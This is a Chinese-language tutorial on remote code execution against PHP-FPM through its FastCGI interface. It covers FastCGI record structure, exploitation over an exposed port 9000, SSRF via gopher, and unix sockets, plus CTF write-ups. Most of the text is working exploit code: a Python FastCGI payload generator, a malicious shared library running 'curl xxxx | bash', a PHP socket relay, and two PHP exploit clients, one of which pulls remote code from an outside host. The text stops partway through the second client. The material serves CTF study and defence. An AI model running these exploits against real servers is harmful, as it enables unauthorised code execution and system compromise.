php-fpm rce攻击

0x00 something

PHP-FPM(FastCGI Process Manager):FastCGI进程管理器

FastCGI

FastCGI 本身是一个协议,是服务器中间件和某个语言后端进行数据交换的协议

fastcgi 协议由多个 record 组成,recordheaderbody 组成

typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 


  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

实验推荐:Fastcgi安全

http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060115422500001


PHP-FPM

PHP-FPM 是 一个实现和管理 FastCGI 协议的进程

PHP-FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据

一般来说,apache 通过 mod_php 来解析 phpnginx 通过 php-fpm(fast-cgi) 来解析 phpapache 也可以设置为 php-fpm 方式

mod_php 通过嵌入 PHP 解释器到 apache 进程中,只能与 apache 配合使用

cgifast-cgi 以独立的进程的形式出现,只要对应的Web服务器实现 cgi 或者 fast-cgi 协议,就能够处理 PHP 请求

0x01 PHP-FPM 的模式

nginx 与 php-fpm 通信可以通过两种模式,一种是 TCP 模式,一种是 unix 套接字 (socket) 模式

TCP 模式

php-fpm 进程会监听本机上的一个端口,默认为9000,然后 nginx 会把客户端数据通过 fastcgi 协议传给 9000 端口,php-fpm 拿到数据后会调用 cgi 进程解析

nginx的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {
    ...
    fastcgi_pass 127.0.0.1:9000;
    ...
 }

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

listen= 127.0.0.1:9000

Unix Socket

unix 系统进程间通信方式,需要通信的两个进程引用同一个 socket  描述符文件就可以建立通道进行通信

nginx 的配置文件/etc/nginx/sites-available/default:

location ~ \.php$ {
    ...
    fastcgi_pass unix:/run/php/php7.3-fpm.sock;
    ...
 }

php-fpm 的配置文件 /etc/php/7.3/fpm/pool.d/www.conf:

 listen= /run/php/php7.3-fpm.sock


0x02 任意代码执行

普通 RCE

PHP-FPM 的两个环境变量: PHP_VALUEPHP_ADMIN_VALUE,用来设置PHP配置项

  • PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项

  • PHP_ADMIN_VALUE 可以设置所有选项,但 disable_functions 除外

php-fpm进行通信,执行php代码

来自p神的文章:https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html#_1

  • 找到一个已存在的PHP文件

  • 设置 auto_prepend_filephp://inputallow_url_include = On,在执行任何php文件前都要包含一遍POST的内容,把待执行的代码放在Body

  • 或者 auto_prepend_file 为 自己的vps地址

但这种方法受限于 disable_functions

绕过 disable_functions RCE

可以引入扩展 .so文件 ,hook函数,达到绕过 disable_functions 来RCE的效果

PHP_ADMIN_VALUE['extension'] = hack.so

生成 .so 文件的工具 https://github.com/w181496/FuckFastcgi/

或者

// gcc -c -fPIC hack.c -o hack
// gcc --share hack -o hack.so


#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void)
{
    system("curl xxxx | bash");
}

0x03 attack

9000端口暴露在外网(未授权访问)

修改 php-fpm的监听端口为 0.0.0.0:9000,也就是任何ip都能访问9000端口,就可以与 php-fpm 进行通信,伪造 fastcgi协议包进行任意代码执行

exp: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

SSRF打9000端口

如果9000端口没有开放在外网,可以通过SSRF来打,原理同上

import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client


PY2 = True if sys.version_info.major == 2 else False




def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])


def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)


def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')


def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s




class FastCGIClient:
    """A Fast-CGI Client for Python"""


    # private
    __FCGI_VERSION = 1


    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3


    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11


    __FCGI_HEADER_SIZE = 8


    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3


    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()


    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True


    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf


    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value


    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header


    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))


        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record


    def request(self, nameValuePairs={}, post=''):
        # if not self.__connect():
        #     print('connect failure! please check your fasctcgi-server !!')
        #     return


        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)


        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)


        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)


        # print base64.b64encode(request)
        return request
        
        # self.sock.send(request)
        # self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        # self.requests[requestId]['response'] = b''
        # return self.__waitForResponse(requestId)


    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf


        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']


    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)




if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)


    args = parser.parse_args()


    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    request = client.request(params, content)
    print "to base64 :"
    print base64.b64encode(request)
    # request = urllib.quote(request)
    print "to ssrf :"
    print urllib.quote("gopher://127.0.0.1:" + str(args.port) + "/_" + request)

Socket通信

直接与 Socket 进行通信,伪造fastcgi协议包进行任意代码执行

<?php 
$sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));
?>

POST 方式 A 参数传入 base64 编码的 payload

默认套接字的位置在 /run/php/php7.3-fpm.sock

如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径,或者 TCP 模式的端口号

0x04 CTF

*CTF echohub

https://github.com/CTFTraining/starctf_2019_echohub

题目环境是以 apache-module 运行的 php ,但是安装了所有的php拓展并且开启,也包括php-fpm

也就是说还有一个不带disable_function限制的php环境 php-fpm开启

题目环境运行的 php 无法利用,就来攻击这个 php 实现命令执行

wp: https://xz.aliyun.com/t/5006#toc-3

0CTF/TCTF2019_Quals wallbreaker-easy

题目如下

Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655
Hint: eval($_POST["backdoor"]);

官方Hint:

Ubuntu 18.04 / apt install php php-fpm php-imagick

题目源码:

<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>
<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);

题目是一个限制了 open_basedirdisable_functions 的webshell

题目有很多种解法,这里记录一下利用 PHP-FPM来绕过 open_basedir 的限制,读到flag

这里贴两个exp

<details><summary>exp1(点击查看):</summary><p>

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
{
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
{
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
{
        if (!$this->_sock) {
            $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
{
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
{
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
{
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
{
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
{
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
{
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
{
        $response = '';
        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        fwrite($this->_sock, $request);
        do {
            $resp = $this->readPacket();
            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
                $response .= $resp['content'];
            }
        } while ($resp && $resp['type'] != self::END_REQUEST);
        var_dump($resp);
        if (!is_array($resp)) {
            throw new Exception('Bad request');
        }
        switch (ord($resp['content']{4})) {
            case self::CANT_MPX_CONN:
                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
                break;
            case self::OVERLOADED:
                throw new Exception('New request rejected; too busy [OVERLOADED]');
                break;
            case self::UNKNOWN_ROLE:
                throw new Exception('Role value not known [UNKNOWN_ROLE]');
                break;
            case self::REQUEST_COMPLETE:
                return $response;
        }
    }
}
?>
<?php
// real exploit start here
if (!isset($_REQUEST['cmd'])) {
    die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
    $filepath = __FILE__;
}else{
    $filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php/php7.2-fpm.sock", -1);
$code = "<?php echo(\$_REQUEST['command']);?>"; // php payload
//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://kaibro.tw/gginin";
$params = array(
        'GATEWAY_INTERFACE' => 'FastCGI/1.0',
        'REQUEST_METHOD'    => 'POST',
        'SCRIPT_FILENAME'   => $filepath,
        'SCRIPT_NAME'       => $req,
        'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
        'REQUEST_URI'       => $uri,
        'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
        'PHP_VALUE'         => $php_value,
        'SERVER_SOFTWARE'   => '80sec/wofeiwo',
        'REMOTE_ADDR'       => '127.0.0.1',
        'REMOTE_PORT'       => '9985',
        'SERVER_ADDR'       => '127.0.0.1',
        'SERVER_PORT'       => '80',
        'SERVER_NAME'       => 'localhost',
        'SERVER_PROTOCOL'   => 'HTTP/1.1',
        'CONTENT_LENGTH'    => strlen($code)
        );
// print_r($_REQUEST);
// print_r($params);
echo "Call: $uri\n\n";
echo strstr($client->request($params, $code), "PHP Version", true)."\n";
?>

</p></details>

<details><summary>exp2(点击查看):</summary><p>

<?php
class TimedOutException extends Exception {
}
class ForbiddenException extends Exception {
}
class Client {
    const VERSION_1 = 1;
    const BEGIN_REQUEST = 1;
    const ABORT_REQUEST = 2;
    const END_REQUEST = 3;
    const PARAMS = 4;
    const STDIN = 5;
    const STDOUT = 6;
    const STDERR = 7;
    const DATA = 8;
    const GET_VALUES = 9;
    const GET_VALUES_RESULT = 10;
    const UNKNOWN_TYPE = 11;
    const MAXTYPE = self::UNKNOWN_TYPE;
    const RESPONDER = 1;
    const AUTHORIZER = 2;
    const FILTER = 3;
    const REQUEST_COMPLETE = 0;
    const CANT_MPX_CONN = 1;
    const OVERLOADED = 2;
    const UNKNOWN_ROLE = 3;
    const MAX_CONNS = 'MAX_CONNS';
    const MAX_REQS = 'MAX_REQS';
    const MPXS_CONNS = 'MPXS_CONNS';
    const HEADER_LEN = 8;
    const REQ_STATE_WRITTEN = 1;
    const REQ_STATE_OK = 2;
    const REQ_STATE_ERR = 3;
    const REQ_STATE_TIMED_OUT = 4;
    private $_sock = null;
    private $_host = null;
    private $_port = null;
    private $_keepAlive = false;
    private $_requests = array();
    private $_persistentSocket = false;
    private $_connectTimeout = 5000;
    private $_readWriteTimeout = 5000;
    public function __construct($host, $port) {
        $this->_host = $host;
        $this->_port = $port;
    }
    public function setKeepAlive($b) {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    public function getKeepAlive() {
        return $this->_keepAlive;
    }
    public function setPersistentSocket($b) {
        $was_persistent = ($this->_sock && $this->_persistentSocket);
        $this->_persistentSocket = (boolean)$b;
        if (!$this->_persistentSocket && $was_persistent) {
            fclose($this->_sock);
        }
    }
    public function getPersistentSocket() {
        return $this->_persistentSocket;
    }
    public function setConnectTimeout($timeoutMs) {
        $this->_connectTimeout = $timeoutMs;
    }
    public function getConnectTimeout() {
        return $this->_connectTimeout;
    }
    public function setReadWriteTimeout($timeoutMs) {
        $this->_readWriteTimeout = $timeoutMs;
        $this->set_ms_timeout($this->_readWriteTimeout);
    }
    public function getReadWriteTimeout() {
        return $this->_readWriteTimeout;
    }
    private function set_ms_timeout($timeoutMs) {
        if (!$this->_sock) {
            return false;
        }
        return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
    }
    private function connect() {
        if (!$this->_sock) {
            if ($this->_persistentSocket) {
                $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);
            } else {
                $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000);
            }
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application: ' . $errstr);
            }
            if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
                throw new Exception('Unable to set timeout on socket');
            }
        }
    }
    private function buildPacket($type, $content, $requestId = 1) {
        $clen = strlen($content);
        return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */
    }
    private function buildNvpair($name, $value) {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair.= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair.= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    private function readNvpair($data, $length = null) {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen|= (ord($data{$p++}) << 16);
                $nlen|= (ord($data{$p++}) << 8);
                $nlen|= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen|= (ord($data{$p++}) << 16);
                $vlen|= (ord($data{$p++}) << 8);
                $vlen|= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen) ] = substr($data, $p + $nlen, $vlen);
            $p+= ($nlen + $vlen);
        }
        return $array;
    }
    private function decodePacketHeader($data) {
        $ret = array();
        $ret['version'] = ord($data{0});
        $ret['type'] = ord($data{1});
        $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved'] = ord($data{7});
        return $ret;
    }
    private function readPacket() {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len = $resp['contentLength'];
                while ($len && ($buf = fread($this->_sock, $len)) !== false) {
                    $len-= strlen($buf);
                    $resp['content'].= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf = fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    public function getValues(array $requestedInfo) {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request.= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    public function request(array $params, $stdin) {
        $id = $this->async_request($params, $stdin);
        return $this->wait_for_response($id);
    }
    public function async_request(array $params, $stdin) {
        $this->connect();
        // Pick random number between 1 and max 16 bit unsigned int 65535
        $id = mt_rand(1, (1 << 16) - 1);
        // Using persistent sockets implies you want them keept alive by server!
        $keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5), $id);
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest.= $this->buildNvpair($key, $value, $id);
        }
        if ($paramsRequest) {
            $request.= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
        }
        $request.= $this->buildPacket(self::PARAMS, '', $id);
        if ($stdin) {
            $request.= $this->buildPacket(self::STDIN, $stdin, $id);
        }
        $request.= $this->buildPacket(self::STDIN, '', $id);
        if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
            $info = stream_get_meta_data($this->_sock);
